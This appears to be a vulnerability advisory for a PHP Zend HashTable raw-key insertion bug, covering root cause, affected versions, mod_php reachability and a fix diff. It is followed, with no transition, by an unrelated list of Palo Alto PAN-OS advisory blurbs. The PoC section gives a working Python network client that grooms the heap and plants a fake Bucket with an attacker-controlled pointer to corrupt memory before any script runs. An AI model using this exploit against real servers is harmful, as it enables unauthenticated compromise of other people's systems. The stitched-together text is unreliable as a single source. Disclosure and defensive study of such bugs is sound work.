PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)
Affected component: Zend/zendhash.c, raw-string insertion APIs
Summary
PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.
Details
Affected versions and introduction
The unsafe optimization was introduced by php-src commit:
text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions
The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.
- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.
The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.
Vulnerability root versus triggering fatal
The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.
Three conditions are distinct:
1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.
An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.
The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.
Technical root cause
The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:
c ZENDHASHIFFULLDORESIZE(ht);
addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;
p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);
p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /
zendstringinit() can raise a memory-limit fatal and never return. At that point:
- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.
This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:
c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;
do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);
Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.
Affected APIs
Affected missing-nonnumeric-key paths include:
- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.
zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.
Generic request-variable entry point
Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:
c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }
The resulting path is:
text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()
The following distinction is load-bearing:
text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window
One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.
At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.
SAPI and lifetime boundaries
Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:
c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();
if (!parentreq) { phpapacherequestdtor(r); }
This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.
FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.
PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.
Recommended fix
Restore transactional ordering by allocating the key before publishing the new Bucket:
diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;
Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.
Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.
PoC
The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:
php <?php echo "hi\n";
Run this Python client:
python import socket, struct from urllib.parse import quotefrombytes
host, port, target = "127.0.0.1", 80, "/index.php"
def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""
warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")
fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]
prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")
The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.
Impact
Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.
A stored cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store or execute a JavaScript payload using the web interface.
The security risk posed by this issue is minimized when the management interface is restricted to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS® software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not affected by these vulnerabilities.
A stack-based buffer overflow vulnerability in the log processing functionality of Palo Alto Networks PAN-OS® software on Panorama enables an attacker to cause a denial of service (DoS) condition. Repeated attempts to trigger this condition result in the Panorama entering maintenance mode.
Cloud NGFW, Prisma® Access, and standalone PAN-OS firewalls are not affected by this vulnerability.
Denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition by sending specially crafted network traffic to or through a dataplane interface. Repeated attempts to trigger this condition result in the firewall entering maintenance mode.
Cloud NGFW and Panorama are not affected by this vulnerability.
A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS management interface.
The security risk posed by this issue is significantly minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
An improper input handling vulnerability in the GlobalProtect™ gateway of Palo Alto Networks PAN-OS software enables an authenticated user to establish a GlobalProtect session using the identity of another user.
Cloud NGFW and Panorama are not affected by this vulnerability.
A denial of service vulnerability in Palo Alto Networks PAN-OS software enables an authenticated user with a read-only administrator role to cause a denial of service (DoS) condition by sending a specially crafted API request.
The security risk posed by this issue is significantly minimized by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
Cloud NGFW, Panorama, and Prisma® Access are not affected by this vulnerability.
A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.
The security risk posed by this issue is minimized by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not impacted by this vulnerability.
A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI and the device must be configured with a Luna Hardware Security Module (HSM).
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.
Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
A stored cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store or execute a JavaScript payload using the web interface.
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
Multiple cross site scripting vulnerabilities in the User-ID™ Authentication Portal (aka Captive Portal) service, GlobalProtect™ gateway/portal features and Clientless VPN of Palo Alto Networks PAN-OS® software enables a malicious unauthenticated user to store or execute malicious JavaScript payload.
The security risk posed by this issue is minimized when the management interface and access to the User-ID™ Authentication Portal is restricted to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW is not affected by this vulnerability.
An information disclosure vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to the management web interface to obtain web session tokens. This requires a legitimate user to first click on a malicious link provided by the attacker.
The security risk posed by this issue is minimized by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not impacted by this vulnerability.
A command injection vulnerability in the management plane of Palo Alto Networks PAN-OS® software enables an authenticated administrator to execute arbitrary OS commands as root.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators.
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma Access® are not impacted by this vulnerability.
A file deletion vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to the management web interface to delete files from a temporary directory.
The security risk posed by this issue is minimized by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not impacted by this vulnerability.
An IPv6 packet processing vulnerability in the dataplane of Palo Alto Networks PAN-OS® software enables an unauthenticated attacker to bypass firewall security policy enforcement, allowing network traffic that should be blocked to reach protected services.
Cloud NGFW and Panorama are not impacted by this vulnerability.
A server-side request forgery (SSRF) vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator with network access to the management web interface to make unauthorized requests from the firewall to internal services.
The security risk posed by this issue is minimized when the management interface is restricted to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
An XML injection vulnerability in the Large Scale VPN (LSVPN) functionality of Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to inject malicious XML content, potentially leading to information disclosure or corruption of internal LSVPN satellite data.
Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
An authentication bypass vulnerability in Large Scale VPN ( LSVPN) functionality of Palo Alto Networks PAN-OS software allows an attacker with network access to bypass security restrictions and establish an unauthorized site-to-site VPN connection.
Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store a JavaScript payload using the web interface.
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not affected by this vulnerability.
A memory corruption vulnerability in the processing of tunnel traffic in Palo Alto Networks PAN-OS® software allows an authenticated user to initiate system reboots using a maliciously crafted packet. Repeated attempts to initiate a reboot causes the firewall to enter maintenance mode.
Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
A privilege escalation vulnerability in Palo Alto Networks PAN-OS® software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.
A buffer overflow vulnerability in the IKEv2 processing of Palo Alto Networks PAN-OS® software allows an unauthenticated network-based attacker to execute arbitrary code with elevated privileges on the firewall, or cause a denial of service (DoS) condition.
Panorama, Cloud NGFW, and Prisma® Access are not impacted by these vulnerabilities.
Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.
The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma Access® are not impacted by these vulnerabilities.
A stored cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store a JavaScript payload using the web interface.
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma® Access are not impacted by this vulnerability.
Authentication bypass vulnerabilities in the GlobalProtect portal and gateway of Palo Alto Networks PAN-OS® software allows the attacker to bypass security restrictions and establish an unauthorized VPN connection.
Panorama and Cloud NGFW are not impacted by these issues.
A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.
Panorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.
An authentication bypass vulnerability in Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to bypass authentication controls when Cloud Authentication Service (CAS) is enabled.
The risk is higher if CAS is enabled on the management interface and lower when any other login interfaces are used.
The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .
This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).
Cloud NGFW and Prisma Access® are not impacted by this vulnerability.
A buffer overflow vulnerability in the User-ID™ Authentication Portal (aka Captive Portal) service of Palo Alto Networks PAN-OS software allows an unauthenticated attacker to execute arbitrary code with root privileges on the PA-Series and VM-Series firewalls by sending specially crafted packets.
The risk of this issue is greatly reduced if you secure access to the User-ID™ Authentication Portal per the best practice guidelines (https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC) by restricting access to only trusted internal IP addresses.
Prisma Access, Cloud NGFW and Panorama appliances are not impacted by this vulnerability.
A denial-of-service (DoS) vulnerability in the Advanced DNS Security (ADNS) feature of Palo Alto Networks PAN-OS® software enables an unauthenticated attacker to initiate system reboots using a maliciously crafted packet. Repeated attempts to initiate a reboot causes the firewall to enter maintenance mode.
Cloud NGFW and Prisma Access® are not impacted by this vulnerability.